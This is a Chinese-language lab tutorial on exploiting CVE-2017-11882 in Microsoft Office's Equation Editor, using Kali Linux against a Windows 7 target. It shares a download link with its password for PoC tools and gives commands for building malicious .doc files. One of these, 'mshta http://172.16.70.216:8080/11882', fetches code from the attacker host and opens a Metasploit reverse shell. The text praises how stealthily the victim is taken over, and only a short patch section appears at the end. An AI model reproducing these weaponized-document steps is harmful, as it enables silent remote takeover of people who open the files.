CVE-2017-11882 通殺所有Office版本
1、漏洞概述
這幾個月來,針對微軟Office套件最火熱最流行的攻擊手段,莫過於基於CVE-2017-11882的漏洞利用。
2017年11月14號,微軟推送了常規的安全更新,其中,關於CVE-2017-11882的安全更新引起了圈裡的關注,隨之而來的,便是針對此漏洞的POC攻擊代碼被逐漸公開。各路大神在Twitter和Github上相繼公布自己的POC及對應的漏洞利用姿勢,將這股烈火蔓延到2018年。
為什麼這個漏洞會引起這麼大的關注度呢?
從漏洞利用效果來看,它可以通殺Office 2003到2016的所有版本,並且整個攻擊環境的構建非常簡單,姿勢又非常「優雅」。例如,有些攻擊效果會出現彈框,會出現CPU飆高,會發生異常等等,而這個漏洞的利用效果,堪稱「無色無味」。在後續實驗過程中,大家可以自行體會。
更重要的是,這枚「通殺型」的Office高危漏洞,其實已經潛伏了17年之久,直到近幾個月才被發現並低調修復……
那麼,這個漏洞是怎麼回事呢?簡單來說:
此漏洞是由Office軟體裡面的 [公式編輯器] 造成的,由於編輯器進程沒有對名稱長度進行校驗,導致緩衝區溢出,攻擊者通過構造特殊的字元,可以實現任意代碼執行。
舉個例子,如果黑客利用這個漏洞,構造帶有shell後門的office文件,當普通用戶打開這個office文件,則電腦可以被黑客直接控制。
影響版本:
office 2003
office 2007
office 2010
office 2013
office 2016
2、漏洞復現環境
Kali Linux 2017.03 + Windows 7 + Office 2016
滲透機:Kali Linux + POC代碼
靶機:Win7 + Office 2016
註:為了節省大家實驗時間,我將此實驗涉及到的工具和代碼全部打包上傳到以下網盤鏈接,若已經有相同或類似的環境,則沒有必要再下載。
鏈接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA 密碼:nbw2
3、實驗流程
②安裝office 2016
在Win7靶機中,安裝office 2016套件,這裡需要一些時間,大家也可以用其他windows和office版本來測試。
③下載POC代碼
Github上有很多大神分享針對這個漏洞的POC代碼,但測試過程中,發現有些驗證效果不出來,有些驗證過程太複雜。
建議大家直接將我網盤分享的CVE-2017-11882文件夾下載下來,放到Kali Linux滲透機桌面。如下:
④進入shell終端,使用POC代碼生成特殊改造的word文件
進入POC代碼目錄
root@kali:~/Desktop# cd CVE-2017-11882
查看文件
root@kali:~/Desktop/CVE-2017-11882# ls
生成word文檔11882.doc,打開doc文件之後,會彈出計算器(以此驗證offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc
生成word文檔11882.doc,打開doc文件之後,會彈出任務管理器(以此驗證offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc
再次查看,可以看到多了兩個doc文件
root@kali:~/Desktop/CVE-2017-11882# ls
⑤將文件拷貝到Win7靶機上,並驗證效果
使用Word 2016打開第一個文件-11882.doc文件,查看效果:
使用Word 2016打開第二個文件-11882-2.doc文件,查看效果:
可以看到,由於Office2016存在CVE-2017-11882漏洞,當打開特殊構造的word文件時,windows會執行其他動作。
既然此漏洞能夠造成Win系統執行其他動作,那麼,是否順便可以反彈會話,直接被滲透機控制呢?
答案是肯定的。接下來我們來做進一步的驗證。
⑥在Kali Linux上構造帶有shell後門的word文件,並開啟監聽
首先,為了後續更好的管理和使用滲透代碼,可以將網盤中下載的代碼」shell.rb」,名稱修改為「cve-2017-11886.rb」
將CVE-2017-11882.rb拷貝到metasploit目錄中,這裡拷貝到目錄/usr/share/metasploit-framework/modules/exploits/windows/smb
進入Metasploit框架,搜索CVE-2017-11882:
使用CVE-2017-11882.rb模塊,開啟Meterpreter監聽會話:
使用模塊
設置tcp反彈會話
設置滲透機ip地址(這裡通過ifconfig命令查看)
設置路徑為11882,可自定義
開啟滲透,進入監聽狀態
使用CVE-2017-11882.py模塊,生成帶有shell的doc文件:
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc
此時,CVE-2017-11882目錄中增加了另外一個word文件11882-3,而此文件的功能便是:打開它的電腦會反彈shell會話到控制機。
將文件11882-3.doc拷貝到靶機win7上面:
在Win7打開11882-3.doc文件,此時觀察Win7靶機和Kali Linux滲透機。
註:做這個實驗之前,首先要求滲透機Kali Linux和靶機Win7能夠聯通,例如在我的虛擬環境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,兩個虛擬機採用NAT網卡模式。
當靶機打開文件時,整個過程沒有任何彈框,也沒有其他異常動作,整個攻擊效果非常「優雅」,肉雞很難發現。
此時,在另一段的Kali Linux滲透機,已經獲取到shell會話。
通過命令sessions查看meterpreter會話:
msf exploit(CVE-2017-11882) > sessions
此後便可以通過meterpreter來對會話進行管理:
進入會話
查看系統信息
查看當前用戶
截屏
可以看到,安裝了最新office 2016版本的win7,因為CVE-2017-11882漏洞,當打開帶有shell後門的doc文件時,Kali滲透機可以獲取到完美的後門並控制win7。
4、漏洞修復
①在線更新;開啟Windows Update更新,這種方式對於大部分人來說就夠了。
②打補丁;此漏洞對應的微軟補丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
TAG:拼客院長陳鑫傑 |